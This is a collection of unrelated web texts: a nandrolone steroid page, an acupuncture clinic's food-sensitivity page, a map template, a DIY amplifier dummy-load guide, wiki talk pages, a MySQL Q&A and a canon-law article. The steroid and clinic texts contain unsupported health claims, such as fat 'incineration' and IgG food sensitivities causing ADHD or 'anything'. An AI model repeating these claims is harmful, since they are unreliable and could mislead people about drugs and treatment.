This exogenous androgen promotes reversal of catabolic processes and negative nitrogen balance which results in protein anabolism, appetite stimulation, and muscle mass enhancement.
As a Nandrolone base, Deca nandrolone is attached to the large Decanoate ester, which slows down the hormone’s releasing activity. This allows consumption of Nandrolone hormone without the need for frequent injections. As the Decanoate ester begins to detach once injected, there will be an increase Nandrolone released within the body during the first 24-48 hours. From this point, the hormone will continue to release into the body for approximately 2-3 weeks.
Administration
It must be administered through intramuscular injection since it is rapidly hydrolyzed to free nandrolone by plasma esterases in the systemic circulation. It has high lipid solubility and can rapidly diffuse into cells. It is subsequently metabolized in the liver via reduction and oxidation which is similar to the metabolism of testosterone.
Deca nandrolone as an anabolic steroid
Like many anabolic steroids, deca nandrolone has the ability to enhance protein synthesis, inhibit glucocorticoid hormones, and increase nitrogen retention, hemoglobin count, and red blood cell mass. Even in low doses, it is believed to have a stronger effect as compared to any other steroid supplements
It provides significant gains in lean mass, but the increase in muscle mass will come slowly. As a large ester based steroid, and it will not be fast acting. However, the mass built with this steroid will often be higher quality mass than compared to any other anabolic steroids.
Though it increases Basal Metabolic Rate, Deca nandrolone is not included in the list of those strength increasing steroids. Rather, it works by enhancing muscle mass and decreasing body fat accumulation. It directly incinerates fat and aids in its maintenance within normal range.
The controversy
It has also been the subject of drug misuse and abuse, often producing adverse effects such as changes in libido, hepatotoxicity, increased risk of cardiovascular disease, and antisocial behavior. Some of the masculinizing effects in women can be irreversible. Deca nandrolone was approved by the FDA in 1983 and became a controlled substance in 1991.
Untoward Effects
Common side effects include diarrhea, insomnia, headache, hair loss, edema, mood swings, dark urine, hirsutism, menstrual irregularities; acne, nausea, vomiting, and stomach pain. As these are considered as side effects of the drug, they largely fall into the realm of possibility rather than guarantee. Safe and responsible use is still important not only in taking deca nandrolone but in all other medications. You must be aware of all its possible side effect and know how to deal with them as it occurs. | ESSENTIALAI-STEM |
Is Your Food Making You Sick?
What are food allergies, intolerances and food sensitivities?
A lot of people use the terms food allergy, food intolerance and food sensitivity interchangeably. But, a true food allergy causes itching, hives, and swelling that come on shortly after eating a food. If you’ve had food allergy testing at a conventional allergist, this is probably what was tested for. They look at a prick test or measure IgE immunoglobulins to see if your immune system responded to a specific food.
Much more common are food intolerances and food sensitivities. An intolerance is an inability to break down specific foods. For instance, a lot of people have lactose (milk sugar) intolerance and this can be corrected by taking an enzyme (lactase). It is really unpleasant but doesn’t activate the immune system.
Food sensitivities are delayed reactions (2-7 days) that have an immune system effect (IgG antibodies). Food sensitivities are common and contribute to a wide range of immune and inflammatory conditions (see below).
Why does it matter?
A lot of auto-immune and auto-inflammatory conditions are related, in part, to food sensitivities. The most common sensitivities are to the proteins in: dairy (Casien), Wheat (Gluten), Corn (Zein), egg and Soy. But, it is possible to be sensitive to any food even though it may be considered healthy for other people.
Like many alternative medicine practitioners, I believe food allergies happen when undigested protein passes through the stomach and leaks through the small intestine into the blood.
The liver organ has many functions one being an important part of the immune system. When the liver is busy with food proteins, the overall immune burden is increased and this can lead to auto-inflammation or auto-immunity
Symptoms of IgG Food Allergy may include:
Abdominal Pain
Aches and Pains
Acne
ADHD
Anxiety
Arthritis
Asthma
Bloating
Chronic Fatigue
Chronic Infections Constipation
Depression
Dizziness
Eczema
Fibromyalgia
Fluid Retention
GI Problems
Hyperactivity
Inflammation/ Pain
Irritable Bowel IBS
Itching
Lethargy
Loss of Appetite
Migraine
Nausea
PMS
Psoriasis
Recurrent Ear Infection
Recurrent Sinus Infections Rhinitis
Sinusitis
Skin Rashes
Stomach Cramps
Tension
Weight Gain or Loss Wheezing
FOOD ALLERGIES DON’T CAUSE EVERYTHING! BUT FOOD ALLERGIES CAN CAUSE ANYTHING!
What can we do about it?
Avoiding foods that are causing problems is not a fun solution but it is important to start here. Often, some of the foods can be incorporated into the diet with treatment. There are a number of food sensitivity tests on the market and this can be helpful but the very best (and least expensive) ways to figure out what you’re sensitive to is to take the likely foods out of your diet for 2 weeks and add them back in 1/ week. Ask us for our 14 Inflammatory Food Diet.
We can treat food sensitivities with acupuncture and herbs!
1. Use herbs and acupuncture to down regulate the severity of symptoms. Consider herbs such as albizia, Baical Skullcap, and Black Cumin
2. Improve the health of stomach acid and pancreatic enzymes. We want the proteins in our food to be digested as much as possible before they enter the small intestine.
3. Work on improving intestinal permeability so undigested proteins don’t enter the blood stream.
4. Improve liver health. Bupleurum is an important herb for the liver. Ideally we want 1.2 gm of Buplurum flacatum root per day. We can also consider liver detoxification or treatment using acupuncture.
If you’re suffering from the effects of food allergies, or have other chronic issues, give us a call today at 616.855.7718.
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Template:Attached KML/Nevada State Route 338
Nevada State Route 338.kml 1.3 http://maps.google.com/mapfiles/kml/pushpin/ylw-pushpin.png ff0000ff 5 normal #s_ylw-pushpin </Pair> <Pair> highlight <styleUrl>#s_ylw-pushpin_hl</styleUrl> </Pair> </StyleMap> <Style id="s_ylw-pushpin"> <IconStyle> 1.1 <Icon> http://maps.google.com/mapfiles/kml/pushpin/ylw-pushpin.png </Icon> <hotSpot x="20" y="2" xunits="pixels" yunits="pixels"/> </IconStyle> <LineStyle> ff0000ff 5 </LineStyle> </Style> <Placemark> Nevada State Route 338 <styleUrl>#m_ylw-pushpin</styleUrl> <LineString> 1 -119.1615320216161,38.41791376371597,0 -119.1618754207488,38.41933572869238,0 -119.1622207523862,38.42067127511664,0 -119.1622726515392,38.4219174299183,0 -119.1619690306769,38.42330477376692,0 -119.1612509345909,38.42446198518164,0 -119.1604128570801,38.42548203000076,0 -119.1576575374135,38.4275708338438,0 -119.1561608206289,38.42817187827522,0 -119.1527916502826,38.42989428087789,0 -119.1513424375391,38.43064181207896,0 -119.14449946099,38.43344966726532,0 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Navigation: DIY Audio Projects / Technical and Reference / DIY Speaker Dummy Load for Amplifier Testing
DIY Speaker / Amplifier Dummy Load
Giovanni Militano Canadian Flag To email Gio, type out the email address.
DIY Speaker / Amplifier Dummy Load
This is a simple DIY Speaker dummy load that I put together quickly. After constructing an AMP6 T-Amp kit, I was testing the maximum power output using a 4.7 ohm ceramic power resistor. I somehow got distracted and before I knew it, I could smell burning. The ceramic resistor had started burning through a floor mat and melting the insulation of the test leads which had fallen on the hot resistor. So rather than test with loose resistors and test leads, I figured I should make a properly enclosed dummy load.
Rather than just using a load resistor across an amp, I prefer to be able to hear what is going on during testing. The schematic below shows two dummy loads. With a speaker connected, the amplifier will see either a 4.3 or 7.4 ohm load while the attached speaker will receive less than about 1% of the output power. You can check the net load for yourself by following the basic electronics formulas. With a simple setup like this you can test at high power without risking damaging speakers, going deaf or driving other people crazy. If a speaker is not connected to the dummy load, the amplifier will see either a 4.5 or 8 ohm load.
DIY Speaker Dummy Load Schematic
Figure 1: DIY Speaker Dummy Load Schematic
The two dummy speaker loads are housed in the same type of aluminum baking pan that I used for my 50EH5 Single Ended Tube Amplifier. To help promote cooling, I mounted the 50W resistors to heat sinks that had been salvaged from dead computer power supplies. The 4.5 ohm resistor is attached to the larger heat sink. The aluminum enclosure also helps dissipate some heat from the resistors. Since the resistors are cooled somewhat, it is ok to apply more than 50W of power for a very SHORT period of time, but don't get carried away.
DIY Speaker Dummy Load
Photograph 1: Underside View of DIY Speaker Dummy Load
I used binding posts to allow for easy connection to and from the dummy load. The binding posts also make it easy to add a small capacitor or inductor if you want to try different load scenarios when testing an amplifier.
DIY Speaker Dummy Load
Photograph 2: DIY Speaker Dummy Load | ESSENTIALAI-STEM |
Talk:1961 Syrian coup d'état
Complete revamping of the bibliography: Remove the "additional citations" template tag?
I added a new source and I expanded the other 5 that already existed because they were composed (literally all of them) of only a title and a URL link, so I added all the possible parameters such as authors, editors, publishers, place of publication, ISSN or ISBN, DOI, archived URLs and some others; thus, everything I could find was added. As such, I was thinking maybe we can now remove the template tag that says it needs a better bibliography and more sources and all of that.
<IP_ADDRESS> (talk) 22:35, 20 May 2021 (UTC) | WIKI |
craisondigital craisondigital - 7 months ago 38
MySQL Question
How to store mySQL query as python dictionary and call later in script?
I have a table called "uid" which has two fields, rfid and empid:
• EXAMPLE RECORD 1 rfid = 88 999 33 555 empid = 1
• EXAMPLE RECORD 2 rfid = 64 344 77 222 empid = 2
I would like to run a query which stores all of these values in a python dictionary, and allows me to set the rfid number as a variable (MyRFID) to be called later in the script:
db = MySQLdb.connect("MyIp", "MyUser", "MyPass", "MyDB", cursorclass=MySQLdb.cursors.DictCursor)
curs=db.cursor()
curs.execute("""SELECT number, empid FROM rfid """)
So that later in the code I can check to see if I get a match from an existing variable:
if MyVariable == MyRFID:
#Create new record for that empid
Answer
I think you're looking for the fetchall method. After you call
cur.execute("""SELECT number, empid FROM rfid """)
you would do:
rows = cur.fetchall()
and then rows would contain a list of tuples. If you specifically need it to be a dictionary, you could just do dict(rows) in this example but that only works because your query happens to return two columns. If it was more than two columns you would need something like:
rows_dict = dict([ k[0], k[1:]) for k in rows])
(see: Converting List of 3 Element Tuple to Dictionary)
If the dictionary you were imagining had column names as keys you need to look at DictCursor (Python: use mysqldb to import a MySQL table as a dictionary?). | ESSENTIALAI-STEM |
Page:Allan Dunn--Dead Man's Gold.djvu/154
140 great lurking fish. The hue of the water coloured them to a deep blue, the angle at which they were forced to gaze prevented the fair view that might have been obtained from the cliff, lifting perpendicularly above them, impossible of access from the trail. The two figures lay with composed limbs, stripped of all clothing. There was the suggestion of a beard on one of them that indicated the impossibility of the body being that of an Indian. Shadow lay half across the bowl and they within its influence. Undeniably the outlines were those of humanity. Undeniably they were coated or subtly impregnated with lime that had defied decomposition. Apparently they had fallen, or had been tossed, from the very edge of the mesa itself, two hundred feet above the pool. They might have been there for ten years or a hundred. They might stay there for a thousand, if undisturbed.
"They ought to be given Christian burial," said Harvey. "Some day I'm comin' back here with ropes and git them out of thar. Scelped, both on 'em.'
"You've got better eyes than I have to make that out, Harvey," said Stone.
"Take a look. You can't see any hair atop of their heads, kin ye? An' one's got a beard thet shows plain enough. Men of the plains an' deserts used to wear their ha'r long them days. Didn't thet young chief say these was here when he was a kid? The ha'r 'ud show. They might both on 'em be bald, but I doubt it. Scelped an' chucked inter the | WIKI |
Decretum laudis
A is the official measure with which the Holy See grants to institutes of consecrated life and societies of apostolic life the recognition of ecclesiastical institution of pontifical right. When the decree of praise is issued in the form of an apostolic brief, it is referred to as a 'brief of praise'.
Canon law
To create a new religious community, it is necessary to get, in the beginning, permission from the proper department in the Roman Curia of the Catholic Church (the Congregation for Institutes of Consecrated Life and Societies of Apostolic Life, the Congregation for the Evangelization of Peoples, or the Congregation for the Oriental Churches, depending on the purpose of the institute and the coverage of its activities) and also the approval of the Ordinary of the diocese of origin, usually the bishop (or the archbishop). When they are obtained, the congregation is then called “of diocesan right”.
When the congregation has grown in importance and when its spiritual and apostolic maturity is observed, it can be formally approved by the Pope with the decretum laudis, which transforms it into a congregation of pontifical right, subject to immediate and exclusive authority of the Holy See.
Generally, it is followed by the temporary approval and the final approval.
Structure
The decretum laudis contains, as a rule, a summary of the historical origins of the congregation, and a brief description of the purpose and the constitution of the same, references and letters from the bishops, and the examination made by the appropriate Congregation of the institute. It concludes with the approval and recommendation, amplissimis verbis (Latin, “in the strongest terms”), of the institute in question.
The practice of using decretum laudis by the Popes to grant the recognition of the pontifical right to the congregations began to be consolidated in the years between the 18th and 19th centuries, although in the beginning these decrees were followed by formal acts in the form of the Papal bull and Papal brief. | WIKI |
Talk:John Fahey discography
Missing Releases
There are some Fahey releases which are not included on this page yet. They include: | WIKI |
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